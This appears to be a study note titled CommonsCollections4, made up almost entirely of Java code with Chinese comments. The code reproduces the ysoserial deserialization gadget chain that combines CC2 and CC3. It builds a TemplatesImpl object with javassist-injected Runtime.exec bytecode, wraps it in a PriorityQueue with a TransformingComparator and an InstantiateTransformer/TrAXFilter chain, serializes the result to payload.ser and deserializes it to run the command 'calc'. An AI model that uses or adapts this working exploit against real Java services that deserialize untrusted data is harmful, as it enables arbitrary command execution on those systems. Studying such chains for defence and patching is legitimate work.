CommonsCollections4

CommonsCollections2+CommonsCollections3

PayLoad:

import com.nqzero.permit.Permit;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.Map;
import java.util.PriorityQueue;

import static sun.reflect.misc.FieldUtil.getField;

public class CommonsCollections4 {
    static String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
    //getInvocationHandler用于获取名为handler的InvocationHandler实例,并将map传入成员变量memberValues
    public static InvocationHandler getInvocationHandler(String handler, Map<String, Object> map) throws Exception {
        //获取构造函数
        final Constructor<?> ctor = Class.forName(handler).getDeclaredConstructors()[0];
        //获取handler的私有成员的访问权限,否则会报 can not access a member of class sun.reflect.annotation.AnnotationInvocationHandler
        Permit.setAccessible(ctor);
        //实例化
        return (InvocationHandler) ctor.newInstance(Override.class, map);
    }
    //createMyproxy用于返回handler为ih,代理接口为iface的动态代理对象
    public static <T> T createMyproxy(InvocationHandler ih, Class<T> iface) {
        final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, 1);
        allIfaces[0] = iface;
        return iface.cast(Proxy.newProxyInstance(CommonsCollections1.class.getClassLoader(), allIfaces, ih));
    }
    // 设置成员变量值
    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
        Field field = null;
        try {
            //获取私有成员变量
            field = obj.getClass().getDeclaredField(fieldName);
            //获取私有成员变量访问权限
            Permit.setAccessible(field);
        }
        catch (NoSuchFieldException ex) {
            if (obj.getClass().getSuperclass() != null)
                field = getField(obj.getClass().getSuperclass(), fieldName);
        }
        field.set(obj, value);
    }
    //  获取成员变量值得
    public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
        Field field = null;
        try {
            field = obj.getClass().getDeclaredField(fieldName);
            Permit.setAccessible(field);
        }
        catch (NoSuchFieldException ex) {
            if (obj.getClass().getSuperclass() != null)
                field = getField(obj.getClass().getSuperclass(), fieldName);
        }
        return field.get(obj);
    }
    //  7u21反序列化漏洞恶意类生成函数
    public static Object createTemplatesImpl(String command) throws Exception{
        Object templates = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl").newInstance();
        // use template gadget class
        ClassPool pool = ClassPool.getDefault();
        final CtClass clazz = pool.get(CommonsCollections2.StubTransletPayload.class.getName());
        String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
                command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
                "\");";
        clazz.makeClassInitializer().insertAfter(cmd);
        clazz.setName("ysoserial.Pwner" + System.nanoTime());
        final byte[] classBytes = clazz.toBytecode();
        setFieldValue(templates, "_bytecodes", new byte[][] {
                classBytes});
        // required to make TemplatesImpl happy
        setFieldValue(templates, "_name", "Pwnr");
        setFieldValue(templates, "_tfactory", Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl").newInstance());
        return templates;
    }
    public static void main(String[] args) throws Exception {
        String command = "calc";
        Object templates = createTemplatesImpl(command);
        ConstantTransformer constant = new ConstantTransformer(String.class);
        Class[] paramTypes = new Class[] { String.class };
        Object[] str = new Object[] { "foo" };
        InstantiateTransformer instantiate = new InstantiateTransformer(
                paramTypes, str);
        paramTypes = (Class[]) getFieldValue(instantiate, "iParamTypes");
        str = (Object[]) getFieldValue(instantiate, "iArgs");
        ChainedTransformer chain = new ChainedTransformer(new Transformer[] { constant, instantiate });
        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(chain));
        queue.add(1);
        queue.add(1);
        setFieldValue(constant, "iConstant", TrAXFilter.class);
        paramTypes[0] = Templates.class;
        str[0] = templates;
        FileOutputStream fos = new FileOutputStream("payload.ser");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(queue);
        oos.flush();
        oos.close();
        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        Object newObj = ois.readObject();
        ois.close();
    }
}

最后更新于